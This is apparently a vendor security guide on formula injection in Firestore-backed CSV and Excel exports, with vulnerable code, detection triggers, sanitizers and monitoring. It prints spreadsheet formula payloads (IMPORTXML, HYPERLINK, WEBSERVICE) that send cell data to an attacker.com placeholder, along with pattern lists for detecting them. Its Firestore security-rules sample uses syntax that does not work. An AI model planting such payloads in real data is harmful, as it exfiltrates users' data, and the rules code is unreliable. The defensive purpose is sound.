Formula Injection in Firestore
How Formula Injection Manifests in Firestore
Formula Injection in Firestore occurs when untrusted data containing spreadsheet formulas is stored in Firestore documents and later exported to CSV or Excel formats. When users download these exports, the formulas execute in their spreadsheet applications, potentially leading to data exfiltration or system compromise.
The attack typically unfolds through these Firestore-specific patterns:
- Formula in Document Fields: Storing malicious formulas in string fields that users can export. For example, a product description field containing
=IMPORTXML("http://attacker.com?data="&A1&"&"&B1, "//title") - Array and Map Injection: Firestore's flexible data model allows arrays and maps to contain formula strings that execute when exported. A user profile field might contain
{"bio": "=HYPERLINK(\"http://malicious-site?cookie="&A1&"\",\"Click here\")"} - Batch Write Vulnerabilities: When using Firestore's batchWrite operations, multiple documents with formula data can be inserted simultaneously, amplifying the attack surface
- Cloud Functions Integration: Functions triggered by Firestore writes might process formula data without sanitization, creating a secondary attack vector
Here's a vulnerable Firestore implementation:
const admin = require('firebase-admin');
admin.initializeApp();
exports.addProduct = functions.https.onRequest(async (req, res) => {
const product = {
name: req.body.name,
description: req.body.description, // Formula injection here
price: req.body.price
};
await admin.firestore().collection('products').add(product);
res.status(200).send('Product added');
});
// Vulnerable data export
exports.exportProducts = functions.https.onRequest(async (req, res) => {
const products = await admin.firestore().collection('products').get();
const csv = products.docs.map(doc => doc.data()).join('\n');
res.setHeader('Content-Type', 'text/csv');
res.send(csv); // Exports formulas directly
});The critical issue is that Firestore stores data as-is without validation, and when exported to CSV, spreadsheet applications interpret formula syntax as executable code rather than plain text.
Firestore-Specific Detection
Detecting Formula Injection in Firestore requires both runtime monitoring and proactive scanning. Here are Firestore-specific detection strategies:
Runtime Monitoring
Implement Cloud Function triggers to monitor document writes:
exports.monitorFormulaInjection = functions.firestore
.document('products/{productId}')
.onCreate(async (snap, context) => {
const data = snap.data();
const suspiciousPatterns = [
/^=.*$/m, // Starts with equals sign
/HYPERLINK\(/i,
/IMPORTXML\(/i,
/\bOLELINK\b/i
];
for (const [key, value] of Object.entries(data)) {
if (typeof value === 'string' && suspiciousPatterns.some(p => p.test(value))) {
console.warn(`Formula injection detected in ${key}: ${value}`);
// Alert or block the write
}
}
});middleBrick Scanning provides automated detection by testing your Firestore endpoints for formula injection vulnerabilities. The scanner identifies:
- Unvalidated string fields that could contain formulas
- CSV export endpoints that don't sanitize formula syntax
- API endpoints that accept spreadsheet uploads without formula neutralization
- Batch operations that could amplify formula injection attacks
middleBrick's 12 security checks include Input Validation scanning that specifically tests for formula injection patterns in Firestore-backed APIs. The scanner sends payloads containing common formula syntax and verifies if they're stored or executed.
Export Security
Monitor your export endpoints with these checks:
function sanitizeForCsv(input) {
if (typeof input !== 'string') return input;
// Prefix formula with apostrophe to neutralize
if (/^\s*=/.test(input)) {
return `'` + input;
}
return input;
}
// Enhanced export function
exports.exportProductsSafe = functions.https.onRequest(async (req, res) => {
const products = await admin.firestore().collection('products').get();
const sanitized = products.docs.map(doc => {
const data = doc.data();
const sanitizedData = {};
for (const [key, value] of Object.entries(data)) {
if (typeof value === 'string') {
sanitizedData[key] = sanitizeForCsv(value);
} else {
sanitizedData[key] = value;
}
}
return sanitizedData;
});
const csv = sanitized.map(obj =>
Object.values(obj).map(val => {
if (typeof val === 'string') {
return `"${val.replace(/"/g, '""')}"`;
}
return val;
}).join(',')
).join('\n');
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="products.csv"');
res.send(csv);
});Firestore-Specific Remediation
Remediating Formula Injection in Firestore requires a defense-in-depth approach. Here are Firestore-specific solutions:
Input Validation and Sanitization
Implement validation at the API layer before data reaches Firestore:
const formulaPatterns = [
/^\s*=/, // Starts with equals
/\b(HYPERLINK|IMPORTXML|IMPORTDATA|OLELINK)\s*\(/i,
/\bCHAR\s*\(\s*(?:34|44|50|51|52|55|56|57|65|67|77|80|95)\s*\)/i // Common formula functions
];
function containsFormula(input) {
if (typeof input !== 'string') return false;
return formulaPatterns.some(pattern => pattern.test(input));
}
// Enhanced API endpoint
exports.addProductSafe = functions.https.onRequest(async (req, res) => {
const { name, description, price } = req.body;
// Validate all string fields
const fields = { name, description };
for (const [key, value] of Object.entries(fields)) {
if (containsFormula(value)) {
return res.status(400).send({
error: 'Formula injection detected',
field: key,
value: value
});
}
}
// Sanitize if needed
const sanitizedDescription = containsFormula(description)
? `Sanitized: ${description}`
: description;
const product = { name, description: sanitizedDescription, price };
await admin.firestore().collection('products').add(product);
res.status(200).send('Product added safely');
});Firestore Security Rules
Implement security rules to prevent formula injection at the database level:
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /products/{productId} {
allow create, update:
if request.auth != null &&
!containsFormula(request.resource.data.name) &&
!containsFormula(request.resource.data.description);
}
match /users/{userId} {
allow create, update:
if request.auth.uid == userId &&
!containsAnyFormula(request.resource.data);
}
}
}
// Custom function for security rules
function containsAnyFormula(data) {
if (data == null) return false;
// Check all string fields recursively
keys(data).some(key => {
let value = data[key];
if (typeof value == "string") {
return value.matches("^\\s*=") ||
value.matches("\\b(HYPERLINK|IMPORTXML)\\s*\\(") ||
value.matches("\\bOLELINK\\b");
}
if (value is map) return containsAnyFormula(value);
if (value is array) return value.hasAny(containsAnyFormula);
return false;
});
}Export Security Enhancements
Secure your data export functionality:
const xlsx = require('xlsx');
function neutralizeFormulas(data) {
if (typeof data !== 'object' || data === null) return data;
if (Array.isArray(data)) {
return data.map(neutralizeFormulas);
}
if (data.constructor === Object) {
const neutralized = {};
for (const [key, value] of Object.entries(data)) {
if (typeof value === 'string' && /^\s*=/.test(value)) {
neutralized[key] = `\'` + value;
} else {
neutralized[key] = neutralizeFormulas(value);
}
}
return neutralized;
}
return data;
}
// Export to Excel with formula neutralization
exports.exportProductsExcel = functions.https.onRequest(async (req, res) => {
const products = await admin.firestore().collection('products').get();
const sanitized = products.docs.map(doc => neutralizeFormulas(doc.data()));
const worksheet = xlsx.utils.json_to_sheet(sanitized);
const workbook = xlsx.utils.book_new();
xlsx.utils.book_append_sheet(workbook, worksheet, 'Products');
const excelBuffer = xlsx.write(workbook, {
type: 'buffer',
bookType: 'xlsx'
});
res.setHeader('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
res.setHeader('Content-Disposition', 'attachment; filename="products.xlsx"');
res.send(excelBuffer);
});Monitoring and Alerting
Set up comprehensive monitoring for formula injection attempts:
const monitoring = require('@google-cloud/monitoring');
const client = new monitoring.MetricServiceClient();
exports.logFormulaAttempt = functions.firestore
.document('products/{productId}')
.onCreate(async (snap, context) => {
const data = snap.data();
const suspicious = detectFormulaPatterns(data);
if (suspicious.length > 0) {
// Log to Cloud Logging
console.warn('Formula injection attempt detected', {
document: context.params.productId,
suspicious_fields: suspicious,
data: data
});
// Increment custom metric
await client.createTimeSeries({
name: 'projects/YOUR_PROJECT_ID',
timeSeries: [{
metric: {
type: 'custom.googleapis.com/formula_attempts',
labels: { source: 'products' }
},
resource: {
type: 'global',
labels: { project_id: 'YOUR_PROJECT_ID' }
},
points: [{ value: { int64Value: suspicious.length } }]
}]
});
}
});Frequently Asked Questions
Can Formula Injection in Firestore lead to data exfiltration?
=WEBSERVICE("http://attacker.com?data="&A1) can exfiltrate data from the user's spreadsheet to an external server. This is particularly dangerous when exported data contains sensitive information like user details, financial data, or proprietary content.How does middleBrick detect Formula Injection vulnerabilities in Firestore-backed APIs?
=HYPERLINK(), =IMPORTXML()) to your API endpoints. It then analyzes whether these formulas are stored in Firestore without sanitization and whether export endpoints return them in CSV/Excel formats. The scanner tests both the input validation and output sanitization aspects of your Firestore integration.